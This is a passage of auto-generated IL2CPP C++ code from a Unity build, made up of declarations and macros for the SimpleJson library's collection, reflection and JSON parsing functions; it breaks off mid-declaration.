System.Collections.Generic.Dictionary`2/Enumerator System.Collections.Generic.Dictionary`2::GetEnumerator() extern "C" Enumerator_t3601534125 Dictionary_2_GetEnumerator_m3077639147_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2::.ctor(System.Object,System.IntPtr) extern "C" void ThreadSafeDictionaryValueFactory_2__ctor_m3821979982_gshared (ThreadSafeDictionaryValueFactory_2_t958855109 * __this, Il2CppObject * p0, IntPtr_t p1, const MethodInfo* method); // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2::.ctor(SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2) extern "C" void ThreadSafeDictionary_2__ctor_m2422343709_gshared (ThreadSafeDictionary_2_t1463927430 * __this, ThreadSafeDictionaryValueFactory_2_t958855109 * p0, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2>::.ctor() extern "C" void Dictionary_2__ctor_m3831291376_gshared (Dictionary_2_t3925882069 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.KeyValuePair`2::.ctor(!0,!1) extern "C" void KeyValuePair_2__ctor_m3464331946_gshared (KeyValuePair_2_t38854645 * __this, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method); // System.Void System.Collections.Generic.List`1::Add(!0) extern "C" void List_1_Add_m4157722533_gshared (List_1_t2058570427 * __this, Il2CppObject * p0, const MethodInfo* method); // System.Void System.Collections.Generic.Stack`1::.ctor() extern "C" void Stack_1__ctor_m1041657164_gshared (Stack_1_t3777177449 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.Stack`1::Push(!0) extern "C" void Stack_1_Push_m1129365869_gshared (Stack_1_t3777177449 * __this, Il2CppObject * p0, const MethodInfo* method); // !0 System.Collections.Generic.Stack`1::Pop() extern "C" Il2CppObject * Stack_1_Pop_m1289567471_gshared (Stack_1_t3777177449 * __this, const MethodInfo* method); // System.Int32 System.Collections.Generic.Stack`1::get_Count() extern "C" int32_t Stack_1_get_Count_m4101767244_gshared (Stack_1_t3777177449 * __this, const MethodInfo* method); // !0[] System.Collections.Generic.List`1::ToArray() extern "C" ObjectU5BU5D_t3614634134* List_1_ToArray_m546658539_gshared (List_1_t2058570427 * __this, const MethodInfo* method); // T UnityEngine.AttributeHelperEngine::GetCustomAttributeOfType(System.Type) extern "C" Il2CppObject * AttributeHelperEngine_GetCustomAttributeOfType_TisIl2CppObject_m581732473_gshared (Il2CppObject * __this /* static, unused */, Type_t * ___klass0, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::.ctor(System.Int32) extern "C" void Dictionary_2__ctor_m3043033341_gshared (Dictionary_2_t1663937576 * __this, int32_t p0, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::Add(!0,!1) extern "C" void Dictionary_2_Add_m790520409_gshared (Dictionary_2_t1663937576 * __this, Il2CppObject * p0, int32_t p1, const MethodInfo* method); // System.Boolean System.Collections.Generic.Dictionary`2::TryGetValue(!0,!1&) extern "C" bool Dictionary_2_TryGetValue_m2330758874_gshared (Dictionary_2_t1663937576 * __this, Il2CppObject * p0, int32_t* p1, const MethodInfo* method); // !0 System.Collections.Generic.List`1::get_Item(System.Int32) extern "C" Il2CppObject * List_1_get_Item_m2062981835_gshared (List_1_t2058570427 * __this, int32_t p0, const MethodInfo* method); // System.Int32 System.Collections.Generic.List`1::get_Count() extern "C" int32_t List_1_get_Count_m2375293942_gshared (List_1_t2058570427 * __this, const MethodInfo* method); // System.Void System.Predicate`1::.ctor(System.Object,System.IntPtr) extern "C" void Predicate_1__ctor_m2289454599_gshared (Predicate_1_t1132419410 * __this, Il2CppObject * p0, IntPtr_t p1, const MethodInfo* method); // System.Int32 System.Collections.Generic.List`1::RemoveAll(System.Predicate`1) extern "C" int32_t List_1_RemoveAll_m1569860525_gshared (List_1_t2058570427 * __this, Predicate_1_t1132419410 * p0, const MethodInfo* method); // System.Void System.Collections.Generic.List`1::Clear() extern "C" void List_1_Clear_m4254626809_gshared (List_1_t2058570427 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.List`1::AddRange(System.Collections.Generic.IEnumerable`1) extern "C" void List_1_AddRange_m3537433232_gshared (List_1_t2058570427 * __this, Il2CppObject* p0, const MethodInfo* method); // System.Void System.Collections.Generic.List`1::.ctor() #define List_1__ctor_m310736118(__this, method) (( void (*) (List_1_t2058570427 *, const MethodInfo*))List_1__ctor_m310736118_gshared)(__this, method) // System.String SimpleJson.SimpleJson::SerializeObject(System.Object) extern "C" String_t* SimpleJson_SerializeObject_m478839316 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___json0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Object::.ctor() extern "C" void Object__ctor_m2551263788 (Il2CppObject * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.Dictionary`2::.ctor() #define Dictionary_2__ctor_m3188644741(__this, method) (( void (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2__ctor_m584589095_gshared)(__this, method) // System.Void System.Collections.Generic.Dictionary`2::Add(!0,!1) #define Dictionary_2_Add_m1128763565(__this, p0, p1, method) (( void (*) (Dictionary_2_t309261261 *, String_t*, Il2CppObject *, const MethodInfo*))Dictionary_2_Add_m4209421183_gshared)(__this, p0, p1, method) // System.Collections.Generic.Dictionary`2/KeyCollection System.Collections.Generic.Dictionary`2::get_Keys() #define Dictionary_2_get_Keys_m660840187(__this, method) (( KeyCollection_t2792759032 * (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2_get_Keys_m2664427549_gshared)(__this, method) // System.Boolean System.Collections.Generic.Dictionary`2::TryGetValue(!0,!1&) #define Dictionary_2_TryGetValue_m307458800(__this, p0, p1, method) (( bool (*) (Dictionary_2_t309261261 *, String_t*, Il2CppObject **, const MethodInfo*))Dictionary_2_TryGetValue_m3975825838_gshared)(__this, p0, p1, method) // System.Collections.Generic.Dictionary`2/ValueCollection System.Collections.Generic.Dictionary`2::get_Values() #define Dictionary_2_get_Values_m139345435(__this, method) (( ValueCollection_t3307288400 * (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2_get_Values_m2233445381_gshared)(__this, method) // !1 System.Collections.Generic.Dictionary`2::get_Item(!0) #define Dictionary_2_get_Item_m464793699(__this, p0, method) (( Il2CppObject * (*) (Dictionary_2_t309261261 *, String_t*, const MethodInfo*))Dictionary_2_get_Item_m4062719145_gshared)(__this, p0, method) // System.Void System.Collections.Generic.Dictionary`2::set_Item(!0,!1) #define Dictionary_2_set_Item_m4132139590(__this, p0, p1, method) (( void (*) (Dictionary_2_t309261261 *, String_t*, Il2CppObject *, const MethodInfo*))Dictionary_2_set_Item_m1004257024_gshared)(__this, p0, p1, method) // !0 System.Collections.Generic.KeyValuePair`2::get_Key() #define KeyValuePair_2_get_Key_m1313755691(__this, method) (( String_t* (*) (KeyValuePair_2_t2361573779 *, const MethodInfo*))KeyValuePair_2_get_Key_m3385717033_gshared)(__this, method) // !1 System.Collections.Generic.KeyValuePair`2::get_Value() #define KeyValuePair_2_get_Value_m3217213384(__this, method) (( Il2CppObject * (*) (KeyValuePair_2_t2361573779 *, const MethodInfo*))KeyValuePair_2_get_Value_m1251901674_gshared)(__this, method) // System.Void System.Collections.Generic.Dictionary`2::Clear() #define Dictionary_2_Clear_m3103846974(__this, method) (( void (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2_Clear_m2325793156_gshared)(__this, method) // System.Boolean System.Collections.Generic.Dictionary`2::ContainsKey(!0) #define Dictionary_2_ContainsKey_m1533770720(__this, p0, method) (( bool (*) (Dictionary_2_t309261261 *, String_t*, const MethodInfo*))Dictionary_2_ContainsKey_m3321918434_gshared)(__this, p0, method) // System.Void System.ArgumentNullException::.ctor(System.String) extern "C" void ArgumentNullException__ctor_m3380712306 (ArgumentNullException_t628810857 * __this, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 SimpleJson.JsonObject::get_Count() extern "C" int32_t JsonObject_get_Count_m1372513591 (JsonObject_t2300545015 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.Generic.IEnumerator`1> SimpleJson.JsonObject::GetEnumerator() extern "C" Il2CppObject* JsonObject_GetEnumerator_m1868414604 (JsonObject_t2300545015 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.Collections.Generic.Dictionary`2::get_Count() #define Dictionary_2_get_Count_m1801589293(__this, method) (( int32_t (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2_get_Count_m3636113691_gshared)(__this, method) // System.Boolean System.Collections.Generic.Dictionary`2::Remove(!0) #define Dictionary_2_Remove_m3100271268(__this, p0, method) (( bool (*) (Dictionary_2_t309261261 *, String_t*, const MethodInfo*))Dictionary_2_Remove_m112127646_gshared)(__this, p0, method) // System.Collections.Generic.Dictionary`2/Enumerator System.Collections.Generic.Dictionary`2::GetEnumerator() #define Dictionary_2_GetEnumerator_m4290581089(__this, method) (( Enumerator_t1629285963 (*) (Dictionary_2_t309261261 *, const MethodInfo*))Dictionary_2_GetEnumerator_m3077639147_gshared)(__this, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2::.ctor(System.Object,System.IntPtr) #define ThreadSafeDictionaryValueFactory_2__ctor_m1401110360(__this, p0, p1, method) (( void (*) (ThreadSafeDictionaryValueFactory_2_t3698747442 *, Il2CppObject *, IntPtr_t, const MethodInfo*))ThreadSafeDictionaryValueFactory_2__ctor_m3821979982_gshared)(__this, p0, p1, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2::.ctor(SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2) #define ThreadSafeDictionary_2__ctor_m854375879(__this, p0, method) (( void (*) (ThreadSafeDictionary_2_t4203819763 *, ThreadSafeDictionaryValueFactory_2_t3698747442 *, const MethodInfo*))ThreadSafeDictionary_2__ctor_m2422343709_gshared)(__this, p0, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2>::.ctor(System.Object,System.IntPtr) #define ThreadSafeDictionaryValueFactory_2__ctor_m1329292246(__this, p0, p1, method) (( void (*) (ThreadSafeDictionaryValueFactory_2_t880847899 *, Il2CppObject *, IntPtr_t, const MethodInfo*))ThreadSafeDictionaryValueFactory_2__ctor_m3821979982_gshared)(__this, p0, p1, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2>::.ctor(SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2) #define ThreadSafeDictionary_2__ctor_m871953061(__this, p0, method) (( void (*) (ThreadSafeDictionary_2_t1385920220 *, ThreadSafeDictionaryValueFactory_2_t880847899 *, const MethodInfo*))ThreadSafeDictionary_2__ctor_m2422343709_gshared)(__this, p0, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2>>::.ctor(System.Object,System.IntPtr) #define ThreadSafeDictionaryValueFactory_2__ctor_m1894899048(__this, p0, p1, method) (( void (*) (ThreadSafeDictionaryValueFactory_2_t134667198 *, Il2CppObject *, IntPtr_t, const MethodInfo*))ThreadSafeDictionaryValueFactory_2__ctor_m3821979982_gshared)(__this, p0, p1, method) // System.Void SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionary`2>>::.ctor(SimpleJson.Reflection.ReflectionUtils/ThreadSafeDictionaryValueFactory`2) #define ThreadSafeDictionary_2__ctor_m3536678423(__this, p0, method) (( void (*) (ThreadSafeDictionary_2_t639739519 *, ThreadSafeDictionaryValueFactory_2_t134667198 *, const MethodInfo*))ThreadSafeDictionary_2__ctor_m2422343709_gshared)(__this, p0, method) // System.Boolean System.Type::get_IsArray() extern "C" bool Type_get_IsArray_m811277129 (Type_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetContructor(System.Type,System.Type[]) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetContructor_m2213599410 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.Dictionary`2::.ctor() #define Dictionary_2__ctor_m1845667710(__this, method) (( void (*) (Dictionary_2_t2267060895 *, const MethodInfo*))Dictionary_2__ctor_m584589095_gshared)(__this, method) // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetProperties(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetProperties_m1086308370 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Reflection.MethodInfo SimpleJson.Reflection.ReflectionUtils::GetGetterMethodInfo(System.Reflection.PropertyInfo) extern "C" MethodInfo_t * ReflectionUtils_GetGetterMethodInfo_m1539519564 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Reflection.MethodBase::get_IsStatic() extern "C" bool MethodBase_get_IsStatic_m1015686807 (MethodBase_t904190842 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Reflection.MethodBase::get_IsPublic() extern "C" bool MethodBase_get_IsPublic_m479656180 (MethodBase_t904190842 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethod(System.Reflection.PropertyInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethod_m3146646939 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetFields(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetFields_m771042561 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Reflection.FieldInfo::get_IsStatic() extern "C" bool FieldInfo_get_IsStatic_m1411173225 (FieldInfo_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Reflection.FieldInfo::get_IsPublic() extern "C" bool FieldInfo_get_IsPublic_m618896610 (FieldInfo_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethod(System.Reflection.FieldInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethod_m2453322602 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.Dictionary`2>::.ctor() #define Dictionary_2__ctor_m2749652828(__this, method) (( void (*) (Dictionary_2_t1520880194 *, const MethodInfo*))Dictionary_2__ctor_m3831291376_gshared)(__this, method) // System.Reflection.MethodInfo SimpleJson.Reflection.ReflectionUtils::GetSetterMethodInfo(System.Reflection.PropertyInfo) extern "C" MethodInfo_t * ReflectionUtils_GetSetterMethodInfo_m1933298824 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethod(System.Reflection.PropertyInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethod_m2416528667 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.KeyValuePair`2::.ctor(!0,!1) #define KeyValuePair_2__ctor_m3394507420(__this, p0, p1, method) (( void (*) (KeyValuePair_2_t3901068228 *, Type_t *, SetDelegate_t4206365109 *, const MethodInfo*))KeyValuePair_2__ctor_m3464331946_gshared)(__this, p0, p1, method) // System.Boolean System.Reflection.FieldInfo::get_IsInitOnly() extern "C" bool FieldInfo_get_IsInitOnly_m3059790683 (FieldInfo_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethod(System.Reflection.FieldInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethod_m3627950826 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture() extern "C" CultureInfo_t3500843524 * CultureInfo_get_InvariantCulture_m398972276 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Double System.Convert::ToDouble(System.Object,System.IFormatProvider) extern "C" double Convert_ToDouble_m574888941 (Il2CppObject * __this /* static, unused */, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.DateTime System.DateTime::ToUniversalTime() extern "C" DateTime_t693205669 DateTime_ToUniversalTime_m1815024752 (DateTime_t693205669 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.DateTime::ToString(System.String,System.IFormatProvider) extern "C" String_t* DateTime_ToString_m2276663647 (DateTime_t693205669 * __this, String_t* p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.DateTimeOffset System.DateTimeOffset::ToUniversalTime() extern "C" DateTimeOffset_t1362988906 DateTimeOffset_ToUniversalTime_m3836057040 (DateTimeOffset_t1362988906 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.DateTimeOffset::ToString(System.String,System.IFormatProvider) extern "C" String_t* DateTimeOffset_ToString_m2121173678 (DateTimeOffset_t1362988906 * __this, String_t* p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Guid::ToString(System.String) extern "C" String_t* Guid_ToString_m51661589 (Guid_t * __this, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Type System.Object::GetType() extern "C" Type_t * Object_GetType_m191970594 (Il2CppObject * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.JsonObject::.ctor() extern "C" void JsonObject__ctor_m2062444459 (JsonObject_t2300545015 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // !1 System.Collections.Generic.KeyValuePair`2::get_Value() #define KeyValuePair_2_get_Value_m360278047(__this, method) (( GetDelegate_t352281633 * (*) (KeyValuePair_2_t24406117 *, const MethodInfo*))KeyValuePair_2_get_Value_m1251901674_gshared)(__this, method) // !0 System.Collections.Generic.KeyValuePair`2::get_Key() #define KeyValuePair_2_get_Key_m4275643388(__this, method) (( String_t* (*) (KeyValuePair_2_t24406117 *, const MethodInfo*))KeyValuePair_2_get_Key_m3385717033_gshared)(__this, method) // System.Object SimpleJson.Reflection.ReflectionUtils/GetDelegate::Invoke(System.Object) extern "C" Il2CppObject * GetDelegate_Invoke_m528436722 (GetDelegate_t352281633 * __this, Il2CppObject * ___source0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) extern "C" Type_t * Type_GetTypeFromHandle_m432505302 (Il2CppObject * __this /* static, unused */, RuntimeTypeHandle_t2330101084 p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Reflection.ConstructorInfo[] System.Type::GetConstructors() extern "C" ConstructorInfoU5BU5D_t1996683371* Type_GetConstructors_m52202211 (Type_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetConstructors(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetConstructors_m2419931237 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetConstructorByReflection(System.Type,System.Type[]) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetConstructorByReflection_m2587709881 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey0::.ctor() extern "C" void U3CGetConstructorByReflectionU3Ec__AnonStorey0__ctor_m1324197711 (U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::.ctor(System.Object,System.IntPtr) extern "C" void ConstructorDelegate__ctor_m2500175747 (ConstructorDelegate_t3084043859 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Reflection.ConstructorInfo SimpleJson.Reflection.ReflectionUtils::GetConstructorInfo(System.Type,System.Type[]) extern "C" ConstructorInfo_t2851816542 * ReflectionUtils_GetConstructorInfo_m577110104 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetConstructorByReflection(System.Reflection.ConstructorInfo) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetConstructorByReflection_m2214455175 (Il2CppObject * __this /* static, unused */, ConstructorInfo_t2851816542 * ___constructorInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethodByReflection(System.Reflection.PropertyInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethodByReflection_m436060527 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethodByReflection(System.Reflection.FieldInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethodByReflection_m4176955894 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey1::.ctor() extern "C" void U3CGetGetMethodByReflectionU3Ec__AnonStorey1__ctor_m2870508847 (U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/GetDelegate::.ctor(System.Object,System.IntPtr) extern "C" void GetDelegate__ctor_m2792866377 (GetDelegate_t352281633 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey2::.ctor() extern "C" void U3CGetGetMethodByReflectionU3Ec__AnonStorey2__ctor_m1538699712 (U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethodByReflection(System.Reflection.PropertyInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethodByReflection_m45132015 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethodByReflection(System.Reflection.FieldInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethodByReflection_m2697613686 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey3::.ctor() extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey3__ctor_m1294123473 (U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/SetDelegate::.ctor(System.Object,System.IntPtr) extern "C" void SetDelegate__ctor_m3526263997 (SetDelegate_t4206365109 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey4::.ctor() extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey4__ctor_m2797181794 (U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object System.Reflection.ConstructorInfo::Invoke(System.Object[]) extern "C" Il2CppObject * ConstructorInfo_Invoke_m2144827141 (ConstructorInfo_t2851816542 * __this, ObjectU5BU5D_t3614634134* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) extern "C" Il2CppObject * MethodBase_Invoke_m1075809207 (MethodBase_t904190842 * __this, Il2CppObject * p0, ObjectU5BU5D_t3614634134* p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Reflection.FieldInfo::SetValue(System.Object,System.Object) extern "C" void FieldInfo_SetValue_m2504255891 (FieldInfo_t * __this, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::Invoke(System.Object[]) extern "C" Il2CppObject * ConstructorDelegate_Invoke_m2493638242 (ConstructorDelegate_t3084043859 * __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.Reflection.ReflectionUtils/SetDelegate::Invoke(System.Object,System.Object) extern "C" void SetDelegate_Invoke_m1756397093 (SetDelegate_t4206365109 * __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Char[] System.String::ToCharArray() extern "C" CharU5BU5D_t1328083999* String_ToCharArray_m870309954 (String_t* __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object SimpleJson.SimpleJson::ParseValue(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject * SimpleJson_ParseValue_m1002395532 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Text.StringBuilder::.ctor(System.Int32) extern "C" void StringBuilder__ctor_m536337337 (StringBuilder_t1221177846 * __this, int32_t p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::SerializeValue(SimpleJson.IJsonSerializerStrategy,System.Object,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeValue_m2700795577 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___value1, StringBuilder_t1221177846 * ___builder2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.IJsonSerializerStrategy SimpleJson.SimpleJson::get_CurrentJsonSerializerStrategy() extern "C" Il2CppObject * SimpleJson_get_CurrentJsonSerializerStrategy_m3073481146 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String SimpleJson.SimpleJson::SerializeObject(System.Object,SimpleJson.IJsonSerializerStrategy) extern "C" String_t* SimpleJson_SerializeObject_m3389162840 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___json0, Il2CppObject * ___jsonSerializerStrategy1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 SimpleJson.SimpleJson::NextToken(System.Char[],System.Int32&) extern "C" int32_t SimpleJson_NextToken_m3906376762 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 SimpleJson.SimpleJson::LookAhead(System.Char[],System.Int32) extern "C" int32_t SimpleJson_LookAhead_m2426341548 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t ___index1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String SimpleJson.SimpleJson::ParseString(System.Char[],System.Int32&,System.Boolean&) extern "C" String_t* SimpleJson_ParseString_m1134805156 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.JsonArray::.ctor() extern "C" void JsonArray__ctor_m33515755 (JsonArray_t1679500587 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.List`1::Add(!0) #define List_1_Add_m4157722533(__this, p0, method) (( void (*) (List_1_t2058570427 *, Il2CppObject *, const MethodInfo*))List_1_Add_m4157722533_gshared)(__this, p0, method) // System.Object SimpleJson.SimpleJson::ParseNumber(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject * SimpleJson_ParseNumber_m2704962974 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* 